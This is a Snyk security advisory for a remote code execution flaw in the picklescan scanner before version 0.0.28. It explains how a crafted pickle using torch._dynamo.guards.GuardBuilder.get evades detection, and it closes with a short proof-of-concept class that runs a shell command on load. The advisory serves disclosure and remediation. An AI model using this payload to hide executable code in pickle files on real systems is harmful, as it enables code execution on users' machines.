Remote Code Execution (RCE) Affecting picklescan package, versions [,0.0.28)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsSnyk Learn
Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.
Start learning- Snyk IDSNYK-PYTHON-PICKLESCAN-12177841
- published24 Aug 2025
- disclosed22 Aug 2025
- creditFredericDT
Introduced: 22 Aug 2025
New CVE NOT AVAILABLE CWE-94 (opens in a new tab)How to fix?
Upgrade picklescan to version 0.0.28 or higher.
Overview
picklescan is a Security scanner detecting Python Pickle files performing suspicious actions
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to using the torch._dynamo.guards.GuardBuilder.get function. An attacker can execute arbitrary code by crafting a malicious pickle file that leverages this function and remains undetected during security checks, and is then loaded with pickle by a user.
PoC
import types
import torch._dynamo.guards as guards
class EvilTorchDynamoGuardsGet:
def __reduce__(self):
fake_self = types.SimpleNamespace(scope={})
name = "__import__('os').system('whoami')"
return guards.GuardBuilder.get, (fake_self, name)